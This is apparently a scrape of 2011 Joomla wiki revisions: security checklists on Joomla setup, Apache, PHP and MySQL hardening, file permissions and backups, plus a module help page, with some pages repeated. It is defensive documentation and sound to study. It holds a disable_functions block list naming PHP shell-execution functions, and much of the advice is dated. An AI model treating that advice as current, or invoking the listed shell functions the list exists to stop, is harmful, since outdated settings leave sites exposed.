===Use Apache's .htaccess===
: For an additional layer of password protection, you can use .htaccess to password protect critical directories. This is usually adequate for blocking the typical script kiddie, but be aware that .htaccess password protection alone is not a highly secure method. It MUST be combined with an SSL server for maximum protection. An SSL server is required for protecting your site from more sophisticated attacks, such as packet sniffing.

===Switch to Joomla! 1.5 or newer===
{{JVer|1.0}} The most significant upgrade in Joomla!'s history includes powerful security and performance enhancements.
* [http://www.joomla.org/content/view/4483/118/ Joomla 1.5 Overview]
* [http://joomlacode.org/gf/project/joomla/frs/?action=index Joomla Downloads]

=== Add Joomla! Security Announcements to your site ===
: The Joomla! Security Team supports and RSS feed that provides the latest Joomla security information. The following FAQ explains how to add this feed to your site.

* [http://docs.joomla.org/Security_and_Performance_FAQs#How_can_I_add_the_Joomla.21_Security_Announcements_Feed_to_the_Admin_Control_Panel.3F How can I add the Joomla! Security Announcements Feed to the Admin Control Panel?]

== Choose A Checklist==
# [[Security Checklist 1 - Getting Started|Getting Started]]
# [[Security Checklist 2 - Hosting and Server Setup|Hosting and Server Setup]]
# [[Security Checklist 3 - Testing and Development|Testing and Development]]
# [[Security Checklist 4 - Joomla Setup|Joomla Setup]]
# [[Security Checklist 5 - Site Administration|Site Administration]]
# [[Security Checklist 6 - Site Recovery|Site Recovery]]

== Edited by==
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=39784 rliskey]


[[Category:Security Checklist]]

Security Checklist/Joomla! Setup

2011-06-26T23:21:01Z

Royce: /* Protect directories and files */

{{RightTOC}}

== Configuring Joomla!==

===Install official versions of Joomla!===
: To avoid breaking your site, search the forums for reports of incompatible extensions before upgrading to a new version of Joomla.

: Upgrade to the [http://www.joomla.org/download.html latest stable version of Joomla!] as soon as possible.

: Download Joomla! from official sites only, such as [http://joomlacode.org/ JoomlaCode.org], and check the [http://docs.joomla.org/How_to_determine_a_package_checksum MD5 hash].

: Use [http://extensions.joomla.org/component/option,com_mtree/task,viewlink/link_id,1146/Itemid,35/ Joomla Diagnostics] to ensure that all files were installed correctly. (Note: the version of Joomla Diagnostics made for the initial release of 1.5 does not work for 1.5.3.)

===Change the default administrator username===
: Change the user name of the default admin user. This simple step effectively increases the security of this critical account 50% by modifying one of the two variables attackers must know to gain access. The password is the other variable. Change it early and often. '''([[Security_and_Performance_FAQs#Why_should_I_immediately_change_the_name_of_the_default_admin_user_after_a_new_install.3F|FAQ]])'''

===Protect directories and files===
: Increase the security of the critical ''configuration.php'' file by moving it outside of the ''public_html'' directory. For more information visit '''([[Security_and_Performance_FAQs#Moving_sensitive_files_outside_the_web_root|FAQ]])'''

: Ensure that all configurable paths to writable or uploadable directories (document repositories, image galleries, caches) are outside of public_html. Check third party extensions such as DOCMan and Gallery2 for editable paths to writable directories.

: {{JVer|1.5}}{{JVer|1.6}} In the Back-End Global Configuration, change the log path. Some extensions use the built in JLog class. This will, by default write logs to http://yousite/logs. Change this to a place that a casual browser cannot find (and don't pick /tmp/), or lock it down with http authentication. Because we are dealing with Open Source software, attackers can read the code of third-party extensions and may be able to guess log file names.

: {{JVer|1.5}}{{JVer|1.6}} In the Back-End Global Configuration, change the temp folder path.

: If the log and temp paths are changed and PHP ''open_basedir'' configuration directive is set, make sure that the new paths fall within the scope of ''open_basedir''.

: There is currently no easy way to move the Joomla! /image and /media directories. This is because thousands of third party extensions expect to find these important directories at the current location. The best plan is to make sure open_basedir is properly set for all the user accounts on your server. Check with your host if unsure.

===Adjust file and directory permissions===
'''This option no longer appears in Joomla.'''
On Older versions of Joomla : Once your site is configured and stable, write-protect critical directories and files by changing directory permissions to 755, and file permissions to 644. There is a feature in Site --> Global Configuration --> Server to set all folder and file permissions at once. Test third party extensions afterwards, and carefully review the code of any extension that has trouble with such settings. Note: Depending on your server's permissions, you may need to temporarily reset to more open permissions when installing more extensions with the Joomla! installer.
'''This option no longer appears in Joomla.''' but is included for historical purposes.

===Remove unneeded files ===
: Remove all design templates not needed by your site. Never put security logic into template files.

: {{JVer|1.5}} Disable the XML-RPC server if you don't need it.

: Clean up after installs. The installation process will require you to delete the installation directory and all its contents. Do this; do not simply rename it. If you upload files to your site as compressed archives (xxxx.zip for example), don't forget to remove the compressed file. Check the /temp/ directory as temporary files may remain there after a failed installation attempt.

: In general, do not leave any unneeded files (compressed or otherwise) on a public server. Each unused (and perhaps long forgotten) file is a potential security hole.

===Turn Register Globals Emulation OFF===

: {{JVer|1.0}} Turn Joomla's Register Globals Emulation OFF. Although this setting is somewhat safer than PHP register_globals, you are much better off avoiding such settings all together (as well as any applications that require them). On pre-1.0.13 versions of Joomla, this setting is found in the globals.php file. As of version 1.0.13, it can be turned off in the Back-end, under Global Settings.

: {{JVer|1.5}}{{JVer|1.6}} Joomla 1.5 and greater, does not use register globals, and in fact has smart code to defeat this setting even if it's turned on at the PHP level. Note that although this makes Joomla itself safer, any server with register globals turned on is potentially vulnerable. Any shared server with register globals turned on is more than likely a sitting duck. Any hosting provider that insists register globals should be turned on is ignorant, incompetent, or worse. Was that blunt enough?

: For more information on register_globals, please see [[Security_Checklist_2_-_Hosting_and_Server_Setup#Don.27t_use_PHP_register_globals|Security Checklist: PHP: register_globals]].

== Installing Joomla! Extensions ==

===Backup before installing ===
: Before installing extensions, always backup your site's files and database. This follows a very basic principle:

: '''''Thou shalt at all times be able to return your site to a previous working state.'''''

: Therefore, it's smart to set up a simple and fast backup script to automate this task. If you don't set up an easy process in advance, you'll be sorely tempted to do a quick upgrade without backing up first. This very understandable tendency is however one of the chief causes of premature hair loss, sudden career changes, and even death.

===Check for extension vulnerabilities===
: Most security vulnerabilities are caused by third party extensions. Before installing extensions, check the Official List of Vulnerable 3rd Party/Non Joomla! Extensions. There's an entire forum dedicated to vulnerable third part extensions. Subscribe to it.

===Download from trusted sites===
: The fully qualified and official definition of a "trusted site" is one that '''YOU''' trust.

===User beware! Check the code quality===
: Third party extensions come in all flavors of quality and age. Although Joomla! coding standards exist, third party developers are not required to follow them. Extensions listed on the official Joomla! site are not reviewed for compliance, however if verified vulnerabilities are reported, they will be removed from the list until they are fixed.

===Test, test, test...===
: Test all extensions on a development site before installing on a production site. Then test on the production site. Don't forget to check the logs for runtime errors and warnings.

===Remove junk files===
: Remove all unused extensions and double check that related folders and files were actually removed by uninstall scripts. Note that during uninstall, many third party extensions will leave related files on your site, and related database tables complete with data. This is either a feature or a bug depending on your point of view. Any files left on your server remain accessible from the Web via direct URLs, such as http://yousite.com/modules/bad_module.

===Avoid encrypted code===
: Joomla is (and dispite disinformation campaigns, always has been) a GNU GPL project. This means that all extensions to Joomla must also be free (as in freedom) and open (as in readable code). Encrypted code may be safe, but you can't determine this for yourself, and so you must trust the developers. Using others' encrypted code puts you back in the world of proprietary software where you must wait for security patches from the developer, hoping that attackers don't find your site first before a fix is released.

: You are often not free to modify, improve, or share encrypted code. These restrictions make encrypted code less valuable to the community as a whole, and reduce the overall viability of the Joomla project which depends on open sharing among all participants.

: Of course, code that is not distributed to others is exempt from GNU GPL distribution requirements. Thus you can encrypt Joomla-related code your own servers providing you do not share it with others.

==Additional Joomla! Hardening Tips and Tricks ==

===Avoid shared servers if possible===
: For maximum security, avoid a shared server on which you don't know or can't trust all the other users or their code quality.

===Use an SSL server===
''This more to do with secure payments and administration, and is not joomla core or server security, but have been included here for advice
''
: SSL servers are currently the only way to securely process confidential transactions and secure user authentication. SSL works by encrypting all HTTP communications between the Web server and Web clients. Thus, even if a transmission is intercepted, it cannot be read.

: Joomla! 1.0.x does not allow you to assign an SSL server to individual sub-directories. Search the forums for "Tommy Hack" for one way to deal with this. Joomla! 1.5 has greatly improved SSL options.

===Use Apache's .htaccess===
: For an additional layer of password protection, you can use .htaccess to password protect critical directories. This is usually adequate for blocking the typical script kiddie, but be aware that .htaccess password protection alone is not a highly secure method. It MUST be combined with an SSL server for maximum protection. An SSL server is required for protecting your site from more sophisticated attacks, such as packet sniffing.

===Switch to Joomla! 1.5 or newer===
{{JVer|1.0}} The most significant upgrade in Joomla!'s history includes powerful security and performance enhancements.
* [http://www.joomla.org/content/view/4483/118/ Joomla 1.5 Overview]
* [http://joomlacode.org/gf/project/joomla/frs/?action=index Joomla Downloads]

=== Add Joomla! Security Announcements to your site ===
: The Joomla! Security Team supports and RSS feed that provides the latest Joomla security information. The following FAQ explains how to add this feed to your site.

* [http://docs.joomla.org/Security_and_Performance_FAQs#How_can_I_add_the_Joomla.21_Security_Announcements_Feed_to_the_Admin_Control_Panel.3F How can I add the Joomla! Security Announcements Feed to the Admin Control Panel?]

== Choose A Checklist==
# [[Security Checklist 1 - Getting Started|Getting Started]]
# [[Security Checklist 2 - Hosting and Server Setup|Hosting and Server Setup]]
# [[Security Checklist 3 - Testing and Development|Testing and Development]]
# [[Security Checklist 4 - Joomla Setup|Joomla Setup]]
# [[Security Checklist 5 - Site Administration|Site Administration]]
# [[Security Checklist 6 - Site Recovery|Site Recovery]]

== Edited by==
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=39784 rliskey]


[[Category:Security Checklist]]

Security Checklist/Hosting and Server Setup

2011-06-26T23:13:58Z

Royce: /* Use local php.ini files */ Minor spelling

{{RightTOC}}
== Choose a Qualified Hosting Provider ==

===The most important decision===
: Probably no decision is more critical to site security than the choice of hosts and servers. However, due to the wide variety of hosting options and configurations, it's not possible to provide a complete list for all situations. Check this unbiased [http://resources.joomla.org/directory/support-services/hosting.html list of recommended hosts]who fully meet the security requirements of a typical Joomla site. ([[Security_and_Performance_FAQs#How_do_I_choose_a_quality_hosting_provider.3F|FAQ]])

===Shared server risks===
: If you are on a tight budget and your site does not process highly confidential data, you can probably get by with a shared server, but you must understand the unavoidable risks. Most of the tips listed below are appropriate for securing sites on shared server environments.

===Avoid sloppy server configurations===
: For a real eye-opener, [http://www.nexen.net/articles/dossier/php_configuration_statitstics.php read this report] on thousands of sites that allowed Google to index the results of phpinfo(). Don't make this mistake on your site! The report includes alarming statistics on the percentage of sites that use deprecated settings such as register_globals ON or that don't have open_basedir set at all: By the way, if ''phpini'' and ''register_globals'' are unfamiliar terms you are probably not ready to securely manage your own site.

==Configuring Apache==

===Use Apache .htaccess===
''See also [[htaccess examples (security)|.htaccess examples]]''
: Block typical exploit attempts with local Apache ''.htaccess'' files. This option is not enabled on all servers. Check with your host if you run into problems. Using ''.htaccess'', you can password protect sensitive directories, such as administrator, restrict access to sensitive directories by IP Address, and depending on your server's configuration, you may be able to increase security by switching from PHP4 to PHP5.

: Joomla ships with a [[preconfigured .htaccess]] file, but *you* need to choose to use it. The file is called htaccess.txt. To use it, rename it to .htaccess and place it in the root of your site using FTP. One important point to note is that as the distributed file is called htaccess.txt and the live file on your site is called .htaccess, the file your site actually uses is NOT updated when you update your site to use to a new version of Joomla. You must manually make the changes to use the new file version. There are significant changes in the file distributed with 1.5.23 onwards and 1.6.2 onwards.

: Consider following the "Least Privilege" principle for running PHP using tools such as PHPsuExec, php_suexec or suPHP. (Note: These are advanced methods that require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.) </li>

===Use Apache mod_security===
: Configure Apache mod_security and mod_rewrite filters to block PHP attacks. See [http://www.google.com/search?q=apache%20mod_security Google search for mod_security] and [http://www.google.com/search?q=apache%20mod_rewrite Google search for mod_rewrite]. (Note: These are advanced methods that usually require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.)

==Configuring MySQL==

===Secure the database===
: Be sure MySQL accounts are set with limited access. The initial install of MySQL is insecure and careful configuration is required. (See the [http://dev.mysql.com/doc/ MySQL Manuals]) Note: This item applies only to those administering their own servers, such as dedicated servers. Users of shared servers are dependent on their hosting provider to set proper database security.)

== Configuring PHP==

===Understand how PHP works===
: Understand how to work with the php.ini file, and how PHP configurations are controlled. Study the [http://us3.php.net/manual/en/ini.php#ini.list Official List of php.ini Directives] at http://www.php.net, and the well-documented default php.ini file included with every PHP install. Here is the [http://svn.php.net/viewvc/php/php-src/trunk/php.ini-production?view=co latest default php.ini file] on the official PHP site.

===Use PHP5===
: Currently, both PHP4 and PHP5 are maintained, and both are often available on servers. Before PHP4 becomes obsolete, upgrade your custom scripts to PHP5. Don't worry about core Joomla code; all current versions are PHP5 compatible. (See [http://www.php.net/ PHP News])

===Use local php.ini files===
: On shared servers you can't edit the main php.ini file, but you may be able to add custom, local php.ini files. If so, you'll need to copy the php.ini files to every sub-directory that requires custom settings. Luckily a [http://tips-scripts.com/free set of scripts at B & T Scripts and Tips] can do the hard work for you.

: '''There are a few important things to keep in mind.'''

# Local ''php.ini'' files '''''only''''' have an effect if your server is configured to use them. This includes a ''php.ini'' file in your ''http_root'' directory. You can test whether or not these file affect your site by setting an obvious directive in the local ''php.ini'' file to see if it affects your site.
# Local ''php.ini'' files only affect ''.php'' files that are located within the same directory (or included() or required() from those files). This means that there are normally only two Joomla! directories in which you would want to place a ''php.ini'' file. They are your ''http_root''(your actual directory name may vary), which is where Joomla's Front-end ''index.php'' file is located, and the Joomla! ''administrator'' directory, which is where the Back-end administrator ''index.php'' file is located. Other directories that don't have files called via the Web do not need local ''php.ini'' files.
# If you have a ''php.ini'' file in every directory, some script probably did this for you. If you didn't intend it to happen, you probably should root them out, but given #2 above, you probably only have to panic about the ''php.ini'' files in ''http_root'' and the ''administrator'' directories.

===Use PHP disable_functions===
: Use ''disable_functions'' to disable dangerous PHP functions that are not needed by your site. Here is a typical setup for a Joomla! site:

disable_functions = show_source, system, shell_exec, passthru, exec, phpinfo, popen, proc_open

===Use PHP open_basedir===
: ''open_basedir'' should be enabled and correctly configured. This directive limits the files that can be opened by PHP to the specified directory-tree. This directive is NOT affected by whether Safe Mode is ON or OFF.

: The restriction specified with open_basedir is a prefix, not a directory name. This means that ''open_basedir = /dir/incl'' allows access to ''/dir/include'' and ''/dir/incls'' if they exist. To restrict access to only the specified directory, end with a slash. For more information, see [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode PHP Security and Safe Mode Configuration Directives].

open_basedir = /home/users/you/public_html

: In some system configurations, at least with PHP 4.4.8, the use of the trailing slash to restrict the access to only the specified directory may cause Joomla to warn ''JFolder::create: Infinite loop detected'' when saving the Back-End Global Configuration. This warning is triggered because PHP ''file_exists()'' function fails, for example, when asked if ''/home/user/public_html/joomla_demo'' exists and ''open_basedir'' is set to ''/home/user/public_html/joomla_demo/'' (see the trailing slash).

: Additionally, if ''open_basedir'' is set it may be necessary to set PHP ''upload_tmp_dir'' configuration directive to a path that falls within the scope of ''open_basedir'' or, alternatively, add the ''upload_tmp_dir'' path to ''open_basedir'' using the appropriate path separator for the host system.

open_basedir = /home/users/you/public_html:/tmp

: PHP will use the system's temporary directory when ''upload_tmp_dir'' is not set or when it is set but the directory does not exist, therefore it may be necessary to add it to ''open_basedir'' as above to avoid uploading errors within Joomla.

===Adjust magic_quotes_gpc===
: Adjust the ''magic_quotes_gpc'' directive as needed for your site. The recommended setting for Joomla! 1.0.x is ON to protect against poorly-written third-party extensions. The safest method is to turn ''magic_quotes_gpc'' off and avoid all poorly-written extensions, period.

: Joomla! 1.5 ignores this setting and works fine either way.
For more information, see either [http://docs.joomla.org/Magic_quotes_and_security Magic quotes and security] or
[http://us3.php.net/magic_quotes PHP Manual, Chapter 31. Magic Quotes].

magic_quotes_gpc = 1

===Don't use PHP safe_mode===
: Avoid the use of PHP safe_mode. This is a valid but incomplete solution to a deeper problem and provides a false sense of security. See the official PHP site for an explanation of this issue.

safe_mode = 0

===Don't use PHP register_globals===
: Automatically registering global variables was probably one of the dumbest decisions the developers of PHP made. This directive determines whether or not to register the EGPCS (Environment, GET, POST, Cookie, Server) variables as global variables where they become immediately available to all PHP scripts, and where they can easily overwrite your own variable if you're not careful. Luckily, the PHP developers long since realized the mistake and have deprecated this 'feature'.

: If your site is on a shared server with a hosting provider that insists ''register_globals'' must be on, you should be very worried. Although you can often turn register_globals off for your own site with a local php.ini file, this adds little security as other sites on the same server remain vulnerable to attacks which can then launch attacks against your site from within the server. For more information, see [http://www.zend.com/manual/security.globals.php ZEND Chapter 29. Using Register Globals].

register_globals = 0

===Don't use PHP allow_url_fopen===

: Don't use PHP ''allow_url_fopen''. This option enables the URL-aware fopen wrappers that enable accessing URL object like files. Default wrappers are provided for the access of remote files using the ftp or http protocol, some extensions like zlib may register additional wrappers. Note: This can only be set in php.ini due to security reasons.

allow_url_fopen = 0

==File permissions==
If a joomla installation is hosted on apache with mod_php, then all virtual hosts on that server run in the same context as your joomla code. If the files are owned by some other user than 'nobody' or 'wwwrun', the safest permissions are those which '''prevent''' changes to the joomla code, unless via an authorised channel (e.g. FTP):
*DocumentRoot directory: 711 (e.g. public_html)
*Files: 644
*Directories: 755 (711 if you are paranoid, but not for directories which need to be listed) (owner: some user)
*Cache and tmp directories: 777 (these directories will contain files owned by the web user - apache/nobody/wwwdata, etc)
With these permissions set, you will need to use FTP to update your Joomla installation. Not all modules support this. Remove modules which do not support FTP upgrades.
Other processes running under mod_php can read '''your''' configuration.php. You can frustrate automated hacks by renaming this file. You should not store your FTP password in your configuration file on such hosts, as your account ''will'' be compromised.

If a joomla installation is hosted on apache with fast-cgi, suphp or cgi that runs as a different user, then you should set your permissions as follows:
* DocumentRoot directory: 711 (e.g. public_html)
* PHP files: 600 (400 if you are truly paranoid)
* HTML and image files: 644 (444 if you are truly paranoid)
* Directories: 755 (711 if you are paranoid, but not for directories which need to be listed)
* Temp and cache directories: 700 (these are written as your user)

==Setup a backup and recovery process==
===The most important rule:'===
: Thou shalt at all time be able to return your site to a previous working state through regular use of a strong, off-site backup and recovery process. Be sure your backup and recovery process is in place and tested BEFORE you go live. This is the single best way (and often the only way) to recover from such inevitable catastrophes as:

# A compromised/cracked site.
# Broken site due to a faulty upgrade.
# Hardware failure, such as dead hard drives, power failures, server theft, etc.
# Authoritarian government intervention. (More common than some think.)
# Needing to quickly relocate to a new server or hosting provider.

== Choose A Checklist==
# [[Security Checklist 1 - Getting Started|Getting Started]]
# [[Security Checklist 2 - Hosting and Server Setup|Hosting and Server Setup]]
# [[Security Checklist 3 - Testing and Development|Testing and Development]]
# [[Security Checklist 4 - Joomla Setup|Joomla Setup]]
# [[Security Checklist 5 - Site Administration|Site Administration]]
# [[Security Checklist 6 - Site Recovery|Site Recovery]]

== Edited by==
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=39784 rliskey]


[[Category:Security Checklist]]

User talk:Royce

2011-06-26T21:48:00Z

Royce: Created page with "First edit! s/depreciated/deprecated/g :-) - ~~~~"

First edit! s/depreciated/deprecated/g :-) - [[User:Royce|Royce]] 16:47, 26 June 2011 (CDT)

Security Checklist/Hosting and Server Setup

2011-06-26T21:46:42Z

Royce: Minor misspelling - depreciated != deprecated

{{RightTOC}}
== Choose a Qualified Hosting Provider ==

===The most important decision===
: Probably no decision is more critical to site security than the choice of hosts and servers. However, due to the wide variety of hosting options and configurations, it's not possible to provide a complete list for all situations. Check this unbiased [http://resources.joomla.org/directory/support-services/hosting.html list of recommended hosts]who fully meet the security requirements of a typical Joomla site. ([[Security_and_Performance_FAQs#How_do_I_choose_a_quality_hosting_provider.3F|FAQ]])

===Shared server risks===
: If you are on a tight budget and your site does not process highly confidential data, you can probably get by with a shared server, but you must understand the unavoidable risks. Most of the tips listed below are appropriate for securing sites on shared server environments.

===Avoid sloppy server configurations===
: For a real eye-opener, [http://www.nexen.net/articles/dossier/php_configuration_statitstics.php read this report] on thousands of sites that allowed Google to index the results of phpinfo(). Don't make this mistake on your site! The report includes alarming statistics on the percentage of sites that use deprecated settings such as register_globals ON or that don't have open_basedir set at all: By the way, if ''phpini'' and ''register_globals'' are unfamiliar terms you are probably not ready to securely manage your own site.

==Configuring Apache==

===Use Apache .htaccess===
''See also [[htaccess examples (security)|.htaccess examples]]''
: Block typical exploit attempts with local Apache ''.htaccess'' files. This option is not enabled on all servers. Check with your host if you run into problems. Using ''.htaccess'', you can password protect sensitive directories, such as administrator, restrict access to sensitive directories by IP Address, and depending on your server's configuration, you may be able to increase security by switching from PHP4 to PHP5.

: Joomla ships with a [[preconfigured .htaccess]] file, but *you* need to choose to use it. The file is called htaccess.txt. To use it, rename it to .htaccess and place it in the root of your site using FTP. One important point to note is that as the distributed file is called htaccess.txt and the live file on your site is called .htaccess, the file your site actually uses is NOT updated when you update your site to use to a new version of Joomla. You must manually make the changes to use the new file version. There are significant changes in the file distributed with 1.5.23 onwards and 1.6.2 onwards.

: Consider following the "Least Privilege" principle for running PHP using tools such as PHPsuExec, php_suexec or suPHP. (Note: These are advanced methods that require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.) </li>

===Use Apache mod_security===
: Configure Apache mod_security and mod_rewrite filters to block PHP attacks. See [http://www.google.com/search?q=apache%20mod_security Google search for mod_security] and [http://www.google.com/search?q=apache%20mod_rewrite Google search for mod_rewrite]. (Note: These are advanced methods that usually require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.)

==Configuring MySQL==

===Secure the database===
: Be sure MySQL accounts are set with limited access. The initial install of MySQL is insecure and careful configuration is required. (See the [http://dev.mysql.com/doc/ MySQL Manuals]) Note: This item applies only to those administering their own servers, such as dedicated servers. Users of shared servers are dependent on their hosting provider to set proper database security.)

== Configuring PHP==

===Understand how PHP works===
: Understand how to work with the php.ini file, and how PHP configurations are controlled. Study the [http://us3.php.net/manual/en/ini.php#ini.list Official List of php.ini Directives] at http://www.php.net, and the well-documented default php.ini file included with every PHP install. Here is the [http://svn.php.net/viewvc/php/php-src/trunk/php.ini-production?view=co latest default php.ini file] on the official PHP site.

===Use PHP5===
: Currently, both PHP4 and PHP5 are maintained, and both are often available on servers. Before PHP4 becomes obsolete, upgrade your custom scripts to PHP5. Don't worry about core Joomla code; all current versions are PHP5 compatible. (See [http://www.php.net/ PHP News])

===Use local php.ini files===
: On shared servers you can't edit the main php.ini file, but you may be able to add custom, local php.ini files. If so, you'll need to copy the php.ini files to every sub-directory that requires custom settings. Luckily a [http://tips-scripts.com/free set of scripts at B & T Scripts and Tips] can do the hard work for you.

: '''There are a few important things to keep in mind.'''

# Local ''php.ini'' files '''''only''''' have an effect if your server is configured to use them. This includes a ''php.ini'' file in your ''http_root'' directory. You can test whether or not these file affect your site by setting an obvious directive in the local ''php.ini'' file to see if it affects your site.
# Local ''php.ini'' files only effect ''.php'' files that are located within the same directory (or included() or required() from those files). This means that there are normally only two Joomla! directories in which you would want to place a ''php.ini'' file. They are your ''http_root''(your actual directory name may vary), which is where Joomla's Front-end ''index.php'' file is located, and the Joomla! ''administrator'' directory, which is where the Back-end administrator ''index.php'' file is located. Other directories that don't have files called via the Web do not need local ''php.ini'' files.
# If you have a ''php.ini'' file in every directory, some script probably did this for you. If you didn't intend it to happen, you probably should root them out, but given #2 above, you probably only have to panic about the ''php.ini'' files in ''http_root'' and the ''administrator'' directories.

===Use PHP disable_functions===
: Use ''disable_functions'' to disable dangerous PHP functions that are not needed by your site. Here is a typical setup for a Joomla! site:

disable_functions = show_source, system, shell_exec, passthru, exec, phpinfo, popen, proc_open

===Use PHP open_basedir===
: ''open_basedir'' should be enabled and correctly configured. This directive limits the files that can be opened by PHP to the specified directory-tree. This directive is NOT affected by whether Safe Mode is ON or OFF.

: The restriction specified with open_basedir is a prefix, not a directory name. This means that ''open_basedir = /dir/incl'' allows access to ''/dir/include'' and ''/dir/incls'' if they exist. To restrict access to only the specified directory, end with a slash. For more information, see [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode PHP Security and Safe Mode Configuration Directives].

open_basedir = /home/users/you/public_html

: In some system configurations, at least with PHP 4.4.8, the use of the trailing slash to restrict the access to only the specified directory may cause Joomla to warn ''JFolder::create: Infinite loop detected'' when saving the Back-End Global Configuration. This warning is triggered because PHP ''file_exists()'' function fails, for example, when asked if ''/home/user/public_html/joomla_demo'' exists and ''open_basedir'' is set to ''/home/user/public_html/joomla_demo/'' (see the trailing slash).

: Additionally, if ''open_basedir'' is set it may be necessary to set PHP ''upload_tmp_dir'' configuration directive to a path that falls within the scope of ''open_basedir'' or, alternatively, add the ''upload_tmp_dir'' path to ''open_basedir'' using the appropriate path separator for the host system.

open_basedir = /home/users/you/public_html:/tmp

: PHP will use the system's temporary directory when ''upload_tmp_dir'' is not set or when it is set but the directory does not exist, therefore it may be necessary to add it to ''open_basedir'' as above to avoid uploading errors within Joomla.

===Adjust magic_quotes_gpc===
: Adjust the ''magic_quotes_gpc'' directive as needed for your site. The recommended setting for Joomla! 1.0.x is ON to protect against poorly-written third-party extensions. The safest method is to turn ''magic_quotes_gpc'' off and avoid all poorly-written extensions, period.

: Joomla! 1.5 ignores this setting and works fine either way.
For more information, see either [http://docs.joomla.org/Magic_quotes_and_security Magic quotes and security] or
[http://us3.php.net/magic_quotes PHP Manual, Chapter 31. Magic Quotes].

magic_quotes_gpc = 1

===Don't use PHP safe_mode===
: Avoid the use of PHP safe_mode. This is a valid but incomplete solution to a deeper problem and provides a false sense of security. See the official PHP site for an explanation of this issue.

safe_mode = 0

===Don't use PHP register_globals===
: Automatically registering global variables was probably one of the dumbest decisions the developers of PHP made. This directive determines whether or not to register the EGPCS (Environment, GET, POST, Cookie, Server) variables as global variables where they become immediately available to all PHP scripts, and where they can easily overwrite your own variable if you're not careful. Luckily, the PHP developers long since realized the mistake and have deprecated this 'feature'.

: If your site is on a shared server with a hosting provider that insists ''register_globals'' must be on, you should be very worried. Although you can often turn register_globals off for your own site with a local php.ini file, this adds little security as other sites on the same server remain vulnerable to attacks which can then launch attacks against your site from within the server. For more information, see [http://www.zend.com/manual/security.globals.php ZEND Chapter 29. Using Register Globals].

register_globals = 0

===Don't use PHP allow_url_fopen===

: Don't use PHP ''allow_url_fopen''. This option enables the URL-aware fopen wrappers that enable accessing URL object like files. Default wrappers are provided for the access of remote files using the ftp or http protocol, some extensions like zlib may register additional wrappers. Note: This can only be set in php.ini due to security reasons.

allow_url_fopen = 0

==File permissions==
If a joomla installation is hosted on apache with mod_php, then all virtual hosts on that server run in the same context as your joomla code. If the files are owned by some other user than 'nobody' or 'wwwrun', the safest permissions are those which '''prevent''' changes to the joomla code, unless via an authorised channel (e.g. FTP):
*DocumentRoot directory: 711 (e.g. public_html)
*Files: 644
*Directories: 755 (711 if you are paranoid, but not for directories which need to be listed) (owner: some user)
*Cache and tmp directories: 777 (these directories will contain files owned by the web user - apache/nobody/wwwdata, etc)
With these permissions set, you will need to use FTP to update your Joomla installation. Not all modules support this. Remove modules which do not support FTP upgrades.
Other processes running under mod_php can read '''your''' configuration.php. You can frustrate automated hacks by renaming this file. You should not store your FTP password in your configuration file on such hosts, as your account ''will'' be compromised.

If a joomla installation is hosted on apache with fast-cgi, suphp or cgi that runs as a different user, then you should set your permissions as follows:
* DocumentRoot directory: 711 (e.g. public_html)
* PHP files: 600 (400 if you are truly paranoid)
* HTML and image files: 644 (444 if you are truly paranoid)
* Directories: 755 (711 if you are paranoid, but not for directories which need to be listed)
* Temp and cache directories: 700 (these are written as your user)

==Setup a backup and recovery process==
===The most important rule:'===
: Thou shalt at all time be able to return your site to a previous working state through regular use of a strong, off-site backup and recovery process. Be sure your backup and recovery process is in place and tested BEFORE you go live. This is the single best way (and often the only way) to recover from such inevitable catastrophes as:

# A compromised/cracked site.
# Broken site due to a faulty upgrade.
# Hardware failure, such as dead hard drives, power failures, server theft, etc.
# Authoritarian government intervention. (More common than some think.)
# Needing to quickly relocate to a new server or hosting provider.

== Choose A Checklist==
# [[Security Checklist 1 - Getting Started|Getting Started]]
# [[Security Checklist 2 - Hosting and Server Setup|Hosting and Server Setup]]
# [[Security Checklist 3 - Testing and Development|Testing and Development]]
# [[Security Checklist 4 - Joomla Setup|Joomla Setup]]
# [[Security Checklist 5 - Site Administration|Site Administration]]
# [[Security Checklist 6 - Site Recovery|Site Recovery]]

== Edited by==
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=39784 rliskey]


[[Category:Security Checklist]]

Help16:Extensions Module Manager Weblinks

2011-06-26T21:46:12Z

Royce: /* Basic Options */ Minor misspelling - depreciated != deprecated

==How to access==

You can access the Weblinks module by either opening an existing Weblinks module in the Module Manager or by creating a new Weblinks Module.
You can access the Module Manager by going to '''Extensions > Module Manager'''

==Description==

The Weblinks module will display weblinks from within the Weblinks component.

==Screenshot==

[[Image:j16_mod_weblinks.jpg|frame|center]]

==Outline==

===Basic Options===

[[Image:J16_mod_weblinks_basic.JPG|frame|center]]

*'''Category''': Select the Weblinks category from which you want to display the links
*'''Count''': Choose the number of links you want the module to show.
*'''Ordering''': Choose the ordering method
**'''Title''': Order links alphabetically.
**'''Order''': Sort links based on their ID.
**'''Hits''': Sort links, based on how often they were opened by your visitors.

*'''Direction''': Select how you want to apply the method chosen in ''Ordering''
**'''Ascending''': Start with the lowest value (first letter, id, lowest number of hits) and upwards.
**'''Descending''': Start with the highest value (last letter, id, highest number of hits) and downwards.

*'''Target window''': Choose how to open the links.
**'''Open in new window''': Opens the link in a new window or tab. This is often the preferred method.
**'''Open in popup''': Opens a pop-up screen.
**'''Open in parent''': Opens the site in the same window. Deprecated, as it leads your visitor away from your site.

*'''Follow / No Follow''': Instruct search engines how they should threat the link
**'''Follow''': The search engine will follow the link
**'''No follow''': The search engine won't follow the link. This is usefull in some SEO scenarios.
**'''Description''': Wether or not the description of the link (as added in the Weblinks component) should be shown.

*'''Hits''': Wether or not the number of clicks for a link should be shown.
*'''Count clicks''': Wether or not the number of clicks for a link should be recorded.
**'''Use global:''' Use the global settings defined elsewhere.
**'''Yes''': Enable counting of links (regardless of global settings)
**'''No''': Disable counting of clicks (regardless of global settings)

===Advanced Options===

[[Image:J16_mod_advanced_4.JPG|frame|center]]

